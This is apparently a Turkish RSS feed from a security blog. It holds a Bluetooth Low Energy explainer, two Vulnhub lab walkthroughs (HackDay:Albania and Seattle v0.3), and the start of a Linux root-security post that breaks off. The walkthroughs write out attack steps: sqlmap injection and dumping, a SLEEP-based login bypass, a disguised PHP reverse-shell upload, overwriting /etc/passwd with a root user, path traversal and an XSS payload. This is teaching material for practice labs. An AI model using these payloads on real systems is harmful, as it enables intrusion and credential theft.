Enes ERGÜN, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Fri, 14 Sep 2018 11:46:53 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png Enes ERGÜN, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Bluetooth Low Energy Nedir ? https://canyoupwn.me/tr-bluetooth-low-energy-nedir/ https://canyoupwn.me/tr-bluetooth-low-energy-nedir/#respond Thu, 13 Sep 2018 17:14:18 +0000 https://canyoupwn.me/?p=7546 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öğrenilmesi Gereken Terimler GAP (Generic Access Protocol) GATT (Generic Attribute Profile) UUID (Universally Unique Identifier) (128 Bit Özel Tanımlayıcı) Giriş BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar. Bluetooth protokolü […]

TR | Bluetooth Low Energy Nedir ? Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öğrenilmesi Gereken Terimler

  • GAP (Generic Access Protocol)
  • GATT (Generic Attribute Profile)
  • UUID (Universally Unique Identifier) (128 Bit Özel Tanımlayıcı)

Giriş

BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar.

Bluetooth protokolü iki kategoriye ayrılmıştır. Denetleyici ve Ana bilgisayar. Ayrıca bu kategorilerin belirli rolleri yerine getiren alt kategorileri vardır. Bunlardan GAP ve GATT bizim için önemlidir.

GAP ve GATT arasında ki farkı şöyle açıklayalım.

GAP

BLE Stacki üzerinde ki genel topolojiyi tanımlar.

GATT

İki cihaz arasında transfer edilen verinin hangi özellikleri taşıyacağının detaylarını açıklar.
GATT genellikle verinin nasıl formatlandığı, paketlendiğini açıklanan kurallara göre gönderilip gönderilmediğine odaklanır. Bir de işin ATT kısmı vardır. ATT ise GATT’a yakın konumlanan bir protokoldür. Şöyle ki: GATT iki cihaz arasında ki gidip gelen verinin tanımını yapmak için ATT’yi kullanır.

GAP

Dış dünyada Bluetooth cihazların birbiri ile iletişime geçebilmesi için 2 adet mekanizma vardır. Bunlar: Yayın yapmak(Broadcasting) veya Bağlanmak(Connecting). GAP bu iki mekanizmayı tanımlamaktadır.

Bir cihaz aşağıda ki GAP rollerinden birini kabul ederek Bluetooth ağına dahil olabilir.

Yayın Yapmak Bu rolde bir cihaza veri aktarmak için bağlantıya gerek yoktur.

  • Yayın yapan(Broadcaster): Bu rolde verilerin aktarılması için cihazlarnı açıkca birbirine bağlı olması gerekmez.
  • Observer: Bu rolde ki bir cihaz Yayın yapan cihazdan gelen verileri dinler. Cihazların birbiri ile bağlı olmasına gerek yoktur.

Bağlanmak Bu rolde veri transferi için cihazların bağlı olması gerekmektedir. Bu rol Yayın Yapma(Broadcasting) rolüne göre daha fazla kullanılmaktadır.

  • Çevresel cihazlar(Peripheral Devices) Merkezi cihazlar ile bağlantı kurabilir. Bağlantı kurulduktan sonra herhangi bir veri yayınlamaz. Dinleyici modda kalırlar. Çevresel cihazlar düşük güç tüketimlidir bunun sebebi ise sadece periyodik zamanlarda sinyal göndermekle zorunlu olmasından dolayıdır. Arada ki iletişimi düzenlemek merkezi cihazın sorumluluktur.

Çevresel cihazlar ve Merkezi cihazların bağlantıları bir çok sebeple kopabilir fakat cihazlar kendi bağlantılarını da sonlandırabilirler.

  • Merkezi cihaz Çevresel cihaz ile bağlantıyı sağlayan cihazdır. Bir merkezi cihaz birden fazla çevresel cihaza bağlanabilir. Bağlantı için çevresel cihaza bir istek gönderir ve çevresel cihaz bunu kabul ederse bağlantı sağlanmış olur. Örnek olarak: Bilgisayarınız da Bluetooth 4.0 destekli bir Bluetooth cihazınız var ise bunu diğer çevresel cihazlara bağlanmak için kullanabilirsiniz. Bu durumda bilgisayarınız bir Merkezi cihaz olur.

Merkezi cihaz ile çevresel cihazın birbirine bağlanabilmesi için çeşitli bağlantı parametrelerine ihtiyacı vardır. Bu parametreler sadece Merkezi cihaz tarafından değiştirilebilir ve güncellenebilir fakat çevresel bir cihaz merkezi cihazdan bağlantı parametrelerini değiştirmesini isteyebilir.

GATT (Generic Attribute Profile)

Roller

GAP’a benzer bir şekilde cihazların etkileşime geçebilmesi için kabul edebileceği/benimseyebileceği roller bulunmaktadır.

Bunlar:

  • İstemci: Sunucu(Server) üzerinde ki parametreleri okuyabilir veya parametre yazabilir.
  • Sunucu: Sunucunun ana rollerinden birisi parametreleri saklamaktır. İstemci bir istekte bulunduğunda sunucu bu parametre/özellikleri kullanılabilir hale getirmek zorundadır.

Bluetooth Stack’i aşağıda ki gibidir.

BLE Günlük Hayatta Nerelerde Kullanılıyor?

  • Alışveriş merkezlerinde belirli bir range girdiğinizde yanlış hatırlamıyorsam reklam amaçlı olarak kullanılabiliyor. Eminim başınıza gelmiştir bir mağazanın önünden geçerken o mağazaya ait telefonunuza reklam SMS’i gelir.
  • Bir çok IOT cihazda bağlantı için kullanılıyor.
  • Akıllı bileklikler vs.
  • Araba anahtarları. Bu anahtarlar klasik anahtarlar değildir. Örnek vermek gerekirse yanına gittiğinizde otomatik kapıları açılan arabalarda bu teknoloji kullanılmaktadır.

BLE ile ilgili çıkmış açıklıklar

Metasploit

BLE ile ilgili araçlar

Ayrıca ESP32 ile de araştırmalar veya çalışmalar yapabilirsiniz.

ESP32 Hakkındaki yazım

İleride belki bununla ilgili teknik bir yazı yazabilirim. Şuanlık yazımız bu kadar.

Okuduğunuz için teşekkürler.

Daha detaylı bilgi için:

GATT
GAP

TR | Bluetooth Low Energy Nedir ? Enes ERGÜN

]]>
https://canyoupwn.me/tr-bluetooth-low-energy-nedir/feed/ 0
TR | HackDay:Albania Walkthrough https://canyoupwn.me/tr-hackdayalbania-walkthrough/ https://canyoupwn.me/tr-hackdayalbania-walkthrough/#respond Thu, 16 Feb 2017 12:11:36 +0000 https://canyoupwn.me/?p=6267 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhaba arkadaşlar bu yazımızda elimden geldiğince sizlere Vulnhub üzerinden HackDay adlı vulnerable makinede root olmaya çalışacağım. Makinenin adresi : https://www.vulnhub.com/entry/hackday-albania,167/ Direk başlayalım isterseniz. Her zaman başlangıç noktasına ihtiyacımız vardır bu yüzden lokal ağımıza bir nmap taraması atıp HackDay adlı makinanın adresini bilmemiz gerekiyor. nmap -sT -sV 192.168.1.1/24 Yukarıda ki komutu kullanarak tarama gerçekleştirdim. Gördüğünüz gibi […]

TR | HackDay:Albania Walkthrough Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhaba arkadaşlar bu yazımızda elimden geldiğince sizlere Vulnhub üzerinden HackDay adlı vulnerable makinede root olmaya çalışacağım.

Makinenin adresi : https://www.vulnhub.com/entry/hackday-albania,167/

Direk başlayalım isterseniz.

Her zaman başlangıç noktasına ihtiyacımız vardır bu yüzden lokal ağımıza bir nmap taraması atıp HackDay adlı makinanın adresini bilmemiz gerekiyor.

nmap -sT -sV 192.168.1.1/24

Yukarıda ki komutu kullanarak tarama gerçekleştirdim.

Gördüğünüz gibi 8008 portunda http servisi çalışıyormuş makinamızın.Hemen giriyoruz.

Translate sağolsun bana güzel bir ipucu verdi.Web Crawler yaparken biz genelde ilk nereye bakarız ? robots.txt değil mi ? Çünkü var ise orası bir çok bilgi barındırabilir.

robots.txt ye girdiğimde şöyle bir ekran ile karşılaştım.

Bütün linkleri elle gezebilirsiniz.Hepsinde bir dinazor arkadaşımız bize mesaj veriyor.Ama translate bana bu konuda yardımcı olmadı.
Bende şöyle bir komutlar zinciri uygulamak zorunda kaldım.

curl http://192.168.1.22/robots.txt | awk {'print $2'} > urlist.txt

Bu arkadaş ne yapıyor bunu açıklamak gerekirse.Robots.txt nin içeriğini çekiyor daha sonra awk ( reis ) sayesinde çektiği metinde ki 2.sütunu alıyor ve bunu urlist.txt içerisine yazdırıyor.

Yeterli mi ? Tabi ki de hayır.2 Ayrı script olarak yaptım ama isterseniz birleştirebilirsiniz de siz.
2.scriptim şu şekilde

cat urlist.txt | awk '{print "http://192.168.1.22"$0}' >> clearurl.txt

Bu komutta farklı olarak printin içine adresimizin ön ekini verdik.Çektiğimiz klasörler url in sonuna eklenecek ve bize bir url çıktısı verecek.

Şimdi işin önemli kısmına gelelim isterseniz.

Bir bash script hazırladım bu aşamada kodu direk olarak kopyalamıyorum buraya ( çünkü hatalı ) ne yaptığını anlatayım.

a diye bir integer değişken tanımlıyoruz.Daha sonra da art adında artış miktarını belirleyen bir değişken tanımladık.

cat clearurl.txt ile clearurl.txt yi okuyup bunu while döngüsüne atıyoruz.
While döngüsünde ise biz bu text dosyasını satır satır okuyoruz ve altına da döngü miktarını yazıyoruz ki birşey bulursak kaçıncı linkte olduğunu bulalım değil mi ? Hoş siz daha kolay bir şekilde oraya echo $line yazarak linki direk olarak kopyalayabilirsiniz.

Yukarıda ki ekran resminden anlayacağınız gibi aralarında farklı olan bir title a denk geldik.

Oh harika bir banka sayfası bizden username ve password istiyor.Burada imdadımıza sqlmap yetişecek.Ben basit login bypass yöntemlerini denedim fakat başarılı olamadım.

Mysql olduğunu öğrendik.( Şaşırdık mı ? )

sqlmap -u "url" --data="username=admin&password=admin --level=5 risk=3 --dbs

komutunu çalıştırıyorum.

Gördüğünüz gibi blind sql injection ve time-based blind buldu.Verdiği payloadları denediğimde giriş sağlayamadım ve biraz araştırdıktan sonra ( walkthroughları inceledim itiraf ediyorum. )

username kısmında aşağıda ki komutu girdiğimizde 5 saniye sonra login olduğumuzu görüyoruz.Zaten vulnerable kolonu username kısmıydı.

admin'RLIKE SLEEP(5)-- DBgy

Login olduk…

Hemen inputlarımızı aramaya başladık burada Contact Support formu bulunuyor ve browse buttonu var.Gözlerinizde çıkan reverse shell işaretlerini görür gibiyim.

Sayfaya jpg yüklediğinizde direkt olarak gösteriyor.Direkt olarak php dosyası yüklerseniz hata veriyor fakat yinede sol tarafta gösteriyor.Tıkladığınızda ise reverse shell çalışmıyor.

Ben hemen şuradan php reverse shell indirdim.

Php Reverse Shell

uzantısının sonunu .jpg yaptım.

Yani dosya ismim : reverse_shell.php.jpg oldu.

Dosyamızı attık şimdide kendi terminalimizden netcat ile dinlemeye alalım portu.

PHP shell içinde ki port ve ip bilgisini değiştirmeyi unutmayın.

nc -lnvp 3333

Linkimize tıkladım ve çalıştı !

Şimdi buradan sonrası önemli olan kısım.

Ben hemen web sitesinin yayınlanma olasılığının çok olduğu klasöre gittim.

Orası da /var/www

içerisinde config.php diye bir dosya gördüm ve cat ile dosyayı okudum.

Database bilgileri elimizde ama yeter mi ? Evet , pardon hayır.

ls -la /etc/ | grep passwd

yaptığınızda passwd dosyasına yazabileceğinizi gördünüz.

Ben bütün passwd dosyasını kendi makinama indirip daha sonra düzenleyip base64’ünü aldım.

Ortaya şu şekilde bir görüntü çıktı:

echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKbHhkOng6MTA2OjY1NTM0OjovdmFyL2xpYi9seGQvOi9iaW4vZmFsc2UKbXlzcWw6eDoxMDc6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTA4OjExMjo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCnV1aWRkOng6MTA5OjExMzo6L3J1bi91dWlkZDovYmluL2ZhbHNlCmRuc21hc3E6eDoxMTA6NjU1MzQ6ZG5zbWFzcSwsLDovdmFyL2xpYi9taXNjOi9iaW4vZmFsc2UKc3NoZDp4OjExMTo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp0YXZpc286eDoxMDAwOjEwMDA6VGF2aXNvLCwsOi9ob21lL3RhdmlzbzovYmluL2Jhc2gKZW5lczokMSRQZDZXYW4xMCQ2Z3dWczVtOVE2N0hrVkovQ0FVbHUwOjA6MDplbmVzOi9yb290Oi9iaW4vYmFzaAo=" | base64 -d > /etc/passwd

enes adında bir kullanıcı oluşturdum ve bunu passwd dosyasına yazdırdım.

Yaptığım denemeleri arka planda görebilirsiniz.

Herşey harika değil mi ? Hayat bu kadar kolay olmamalı ?

su – enes dediğimizde bize hata verdi.

su: must be run from a terminal

Bu ne demek ?

Bizim bir tty shell spawn etmemiz lazım bu gereklilik en başta aklımıza gelmeliydi aslında.

Neyse ben bunun için yardımcı bir cheat sheet den yardım aldım.

Reverse Shell Cheat-Sheet

 python3 -c 'import pty; pty.spawn("/bin/bash")'

Bize gerekli terminali sağlayacaktır.

Artık su – enes yaparak şifremizi girip root olabiliriz.

Geriye de sadece flagimizi aramak kaldı.

Bunun içinde

find / -name "*flag*" 2>/dev/null

Yapabiliriz.Burada 2>/dev/null hatalar çıkarsa eğer null uzay çöplüğüne gönder bize gösterme demek.

Burada Tebrikler şimdi raporu gönderin gibi birşey yazıyor.

Altında ki md5 sizinde dikkatinizi çekti değil mi ? Evet benimde çekti

Çokta önemli birşey değilmiş.Eğer önemliyse bildiriniz.

 

TR | HackDay:Albania Walkthrough Enes ERGÜN

]]>
https://canyoupwn.me/tr-hackdayalbania-walkthrough/feed/ 0
TR | Vulnhub Seattle v0.3 Walkthrough https://canyoupwn.me/tr-vulnhub-seattle-v0-3-walkthrough/ https://canyoupwn.me/tr-vulnhub-seattle-v0-3-walkthrough/#respond Mon, 03 Oct 2016 21:15:34 +0000 https://canyoupwn.me/?p=4423 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhaba arkadaşlar, Bugün Vulnhub’da yayınlanan Seattle v0.3 makinesini çözmeye çalışacağız. Hemen başlayalım. Önce indirdiğimiz makineyi VM yazılımınızla ayaklandırın. Makinenin kullanıcı adı root parolası ise PASSWORD Saldırı yapacağımız hedef makinenin öncelikle IP adresini öğrenmemiz gerekiyor. Bunu network taramaları ile yapabilirsiniz. Makine elimizde olduğu için hızlıca makineye erişip Terminal’e ifconfig yazarak hedef sistemin IP adresini öğrenmiş olduk. IP adresini öğrendikten sonra saldırı için bilgi toplama aşamasına […]

TR | Vulnhub Seattle v0.3 Walkthrough Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhaba arkadaşlar,

Bugün Vulnhub’da yayınlanan Seattle v0.3 makinesini çözmeye çalışacağız. Hemen başlayalım.

Önce indirdiğimiz makineyi VM yazılımınızla ayaklandırın. Makinenin kullanıcı adı root parolası ise PASSWORD

Saldırı yapacağımız hedef makinenin öncelikle IP adresini öğrenmemiz gerekiyor. Bunu network taramaları ile yapabilirsiniz. Makine elimizde olduğu için hızlıca makineye erişip Terminal’e

ifconfig

yazarak hedef sistemin IP adresini öğrenmiş olduk.

secim_092

IP adresini öğrendikten sonra saldırı için bilgi toplama aşamasına geçebiliriz. Hedef sistem aynı ağda bulunduğu için öncelikli işimiz port taramak oluyor.

SYN taraması yaptığımızda aşağıda ki çıktı ile karşılaşıyoruz.

nmap -sS -sV 192.168.1.55

 

secim_093
Göründüğü gibi sistemin 80 portu üzerinde Apache servisi çalışıyor. Bunun dışında bir sonuçla karşılaşmadık. O zaman IP adresine HTTP üzerinden bağlanalım. Tarayıcımıza IP adresini yazıp bağlandığımız da karşımıza Seattle Sounds başlığı bulunan bir site karşılıyor.

secim_094

İlk aşamada port tarama işlemi sonucunda sadece 80 portunun açık olduğunu öğrendiğimiz için bu web sitesi üzerinden gitmemiz gerektiği kararına varabiliriz.

Siteyi hızlıca incelerken Catalogue adlı bir link ilgimi çekti. Bu linke tıklayınca web uygulaması bize bir pdf dosyası indirme bağlantısı sunuyor.

http://192.168.1.55/download.php?item=Brochure.pdf # linkimiz bu

Yukarıda ki link son kullanıcı için masum gözükse bile zarar vermek niyetinde olan kişiler için çokta sağlıklı bir yapıda değil.

Aşağıda ki gibi pdf dosyasının yerine linux dosya sisteminde kullanılan ve bir üst dizine çıkmayı belirten ” ../” karakterler ile linux  sistemlerde kullanıcı kayıtlarını tutan passwd dosyasının yolunu yazdık ve karşımıza bu dosyanın içeriği geldi.

http://192.168.1.55/download.php?item=../../../../../../../../etc/passwd

Not: Burada geri gelme karakterlerini çok fazla kullanmamızın sebebi dizin yapısını tam olarak bilememizdir. İsterseniz yüzlerce kullanabilirsiniz linux tabanlı sistemlerde en üst dizin olan root dizinine çıkacaktır.

Aşağıda passwd dosyasının içeriğini görmektesiniz.

secim_095

Kullandığımız bu açığın literatürde ki ismi Path Traversal/LFI ‘dir. Şimdi bir de web app penetration testlerinde çokça kullanılan nikto adlı araç ile web uygulamamızı bir kontrol edelim.

nikto -h http://192.168.1.55/ -o nicktoresults.txt

Şeklinde kodu terminalimize giriyoruz.Bu kodu açıklamak gerekirse -h argümanı hostname’i -o ise output u temsil eder. Yani -o argümani ile çıktılarımızı nicktoresults.txt diye bir txt dosyasına kaydediyoruz.

secim_096

çıktı sonucu aşağıda ki gibidir.

 - Nikto v2.1.6/2.1.5
+ Target Host: 192.168.1.55
+ Target Port: 80
+ GET Cookie level created without the httponly flag
+ GET Retrieved x-powered-by header: PHP/5.6.14
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ VYUPBYCA Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: TRACE HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ GET Uncommon header 'content-disposition' found, with contents: filename="downloads"
+ GET /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: GET /admin/: Directory indexing found.
+ OSVDB-3092: GET /admin/: This might be interesting...
+ OSVDB-3268: GET /downloads/: Directory indexing found.
+ OSVDB-3092: GET /downloads/: This might be interesting...
+ GET Server leaks inodes via ETags, header found with file /manual/, fields: 0x2304 0x51b0c59e09040 
+ OSVDB-3092: GET /manual/: Web server manual found.
+ GET /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: GET /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: GET /icons/: Directory indexing found.
+ OSVDB-3268: GET /manual/images/: Directory indexing found.
+ OSVDB-3268: GET /images/: Directory indexing found.
+ OSVDB-3268: GET /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: GET /icons/README: Apache default file found.
+ GET Cookie lang created without the httponly flag
+ GET /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: GET /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

Bu sonuçlara göre bir baştan gidelim isterseniz.

/admin/ şeklinde bir path girdiğimizde içeride ki dosyaları görebiliyoruz.

secim_097

İsterseniz LFI açığı sayesinde bu dosyaları indirebilirsiniz. Aşağıda rastgele olarak girilmiş indirilmiş olan iki adet dosya örneği vardır.

http://192.168.1.55/download.php?item=../admin/admincontent.php

 

http://192.168.1.55/download.php?item=../config.php

 

secim_098

Nikto sonuçlarına göre phpinfo yu da

http://192.168.1.55/info.php

‘ dan okuyabiliyoruz.

Nikto sonuçlarını daha sonra değerlendirmek için bir kenara bırakıyoruz ve bir diğer çok kullanılan program olan Burp Suite programımızı başlatıyoruz.

Iceweasel ile ayarlarımızı yaptıktan sonra intercept imiz açık bir şekilde siteye istek gönderiyoruz ve yakalanan veriyi spider’a atıyoruz. Target kısmında ise spider ımızın yaptığı işi görüyorsunuz.

secim_104

secim_105

Burada ki sonuca göre GET ile çekilen bazı sayfaları denemek gerekebilir.

Rastgele bir sayfa seçerek burp suite ile araya girelim.

secim_107

Burada action’a tıklayarak bunu repeater a gönderdim burada bazı denemelerimiz olacak.

Aşağıda ki resimde bir çok deneme yaptım type kısmında false-positive aradım fakat bulamadım bende prod=1 argümanında aramaya karar verdim ve burada db’yi hata vermeye zorladım. Bu gibi durumlarda SQLi olabileceğinden şüphelenebiliriz.
secim_108

SQLi olduğunu düşündüğüm için yine kali üzerinde bulunan sqlmap yazılımını kullanacağım.

secim_109

Kullandığım parametreler =

sqlmap -u "192.168.1.42/details.php?prod=1&type=1" --dbms MySQL --level 3 --risk 3 --dbs

 

sqlmap -u "192.168.1.42/details.php?prod=1&type=1" -p prod --dbms MySQL --level 3 --risk 3 --dbs

Burada ki komutları kısaca açıklarsak;
dbms: Database Management System, Database sistemini seçiyoruz bu MySQL olabilir MSSQL olabilir tamamen siteye bağlıdır. İlk sql injection dediğimizde bize mysql çıktısını vermişti o yüzden Mysql seçtik.
–level: Burada bazı sistemlerde bulunan filtreleme metodları vardır bunları atlatabilmek için (eğer varsa) böyle bir komut giriyoruz. Level ve risk gibi parametreleri belirtmezisek not injectable olarak çıktı gönderebilir.

–dbs: Database i enumerate ( türkçe olarak saymak/dökmek kullanabiliriz sanırım ) etmek için kullanıyoruz.
-p ise verdiğimiz url de hangi parametreye bu atakları yapacağını belirtmemizi sağlıyor.

Diğer komutlar için

sqlmap --help | grep "\--dbs" #Örnek

şeklinde komutlara bakabilirsiniz. Burada gönderdiğimiz komutlar ile get metodu olduğu unutulmasın eğer post metodu kullanılsaydı –data şeklinde bir kullanımımız olacaktı.

Şimdilik burada bir şey bulamadık siteyi biraz daha gezelim.

Not: Eğer bu kısımda bir zafiyet var ise aşağıya yorum olarak belirtirseniz hem ben hemde yazıyı okuyabilecek kişiler faydalanmış olur.

Artık 2-3 tool’un genel anlamıyla nasıl kullanıldığını da anlatmış olduk o yüzden sonuç odaklı gideceğim.

Login sayfasında bir deneme yapalım.

secim_111

Burada yapılan isteği raw olarak kaydettik. Sağ tık save item dediğinizde nereye kaydetmek isteyeceğinizi soracaktır.

Bu kaydettiğimiz dosyayı sqlmap ile otomatize edeceğiz.

sqlmap -r deneme --dbs

Gördüğünüz gibi bize db isimlerini çekti.

secim_112

Bizim istediğimiz bilgiler olasılıkla seattle db’inde olacaktır.

Şimdi

sqlmap -r deneme --dbs -D seattle --tables

-D kısmıyla db ‘ mizi seçtik ve tables ile tabloları istediğimizi belirttik.

secim_113

sqlmap -r deneme --dbs -D seattle --columns

 

Eğer adım adım gitmek isterseniz bu şekilde gidebilirsiniz ama ben direk dump olarak almak istedim o yüzden

sqlmap -r deneme --dbs -D seattle --dump-all

yukarıda ki komutu girdim ve artık admin parolamız elimizde.

secim_114

Çıktımız :

Kullanıcı adı: [email protected]

Parola: Assasin1

Şimdi birde blog kısmına bakalım burada admin bloglarına tıkladığımızda

blog.php?author=admin gibi bir get ibaresi görüyoruz ve aşağıda da admin yazıyor.(SQL inj denemeleri yapsam da bir sonuç alamadım.)

Buradan xss almaya çalışalım.

Burada html kodlarına baktığımızda yazdığımız ibarenin

olduğunu görüyoruz.

<span class="author-bizimibaremiz">bizimibaremiz</span>

Öncelikle bizim tırnak içinden ‘ ” ‘ ile çıkmamız daha sonra da span tagını kapatmamız gerekiyor.

Bunun içinde ben! ( Siz daha farklı yapabilirsiniz )

"\><script>alert(1)</script

şeklinde bir payload ile alertimi aldım.

secim_115

Ekstra bir not :

Dil kısımlarından GBP kısmını silip ../../../etc/passwd yaptığımda ekrana direk olarak passwd ekranı dökülmedi fakat ürünler sayfasına geldiğimizde orada ürünler kısmında passwd içeriğini görebildim.

Bunun neden olduğunu emin olun bilmiyorum en mantıklı açıklamam bu şekilde.

Bunu tekrar sağlamak istediğimde

 products.php?LANG=../../etc/hosts

şeklinde giriş yaptığımda mantığımın doğru olduğunu da sağlamış oldum.

Neyse daha fazla uzatmadan aslında bu yazımızda sql injection , xss , lfi / path traversal görmüş olduk.Zaten LFI ile ilk başlarda mysql user passwordunu de çekmiştik. Burada asıl amacımız çeşitli toolların kullanımını görmekti.

https://www.vulnhub.com/entry/seattle-v03,145/

Başka bir yazıda görüşmek üzere esen kalın.

TR | Vulnhub Seattle v0.3 Walkthrough Enes ERGÜN

]]>
https://canyoupwn.me/tr-vulnhub-seattle-v0-3-walkthrough/feed/ 0
TR | Linux Root Güvenliği https://canyoupwn.me/tr-linux-root-guvenligi/ https://canyoupwn.me/tr-linux-root-guvenligi/#respond Sat, 13 Aug 2016 10:55:56 +0000 https://canyoupwn.me/?p=3800 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar , bu yazımızda konumuz linux sistemlerin yöneticisi olan ROOT kullanıcı güvenliğidir.( Windows’da bu Administrator ) . Root kullanıcı neden önemlidir ? Root kullanıcı sistemde herşeye yetkisi olan kullanıcıdır.Diğer bir deyimle superuserdır. Ayrı bir parola ile korunabildiği gibi kurulum sırasında vermiş oldugunuz kullanıcı şifresiyle de korunabilir bu tamamen sizin konfigürasyonunuza bağlıdır.Linux’da default çoğu ayar root […]

TR | Linux Root Güvenliği Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar , bu yazımızda konumuz linux sistemlerin yöneticisi olan ROOT kullanıcı güvenliğidir.( Windows’da bu Administrator ) .

Root kullanıcı neden önemlidir ?

Root kullanıcı sistemde herşeye yetkisi olan kullanıcıdır.Diğer bir deyimle superuserdır. Ayrı bir parola ile korunabildiği gibi kurulum sırasında vermiş oldugunuz kullanıcı şifresiyle de korunabilir bu tamamen sizin konfigürasyonunuza bağlıdır.Linux’da default çoğu ayar root kullanıcısının iznine verilmiştir.Yani bizim normal kullanıcılarımız çoğu işlemi yapamazlar aslında.Örnek vermek gerekirse

sudo apt-get install python-setuptools

Yukarıda ki komutumuz python-setuptools kurmak içindir ve sudo ( superuser do ) superuser yap beni bebeğim ve şu programı kur demektir.

Evet çoğu ayar linux sistemlerde default olarak gelsede hardening kısmında bu ayarlar etkisiz kalabiliyor.

Örnek bir senaryo vermek gerekirse :

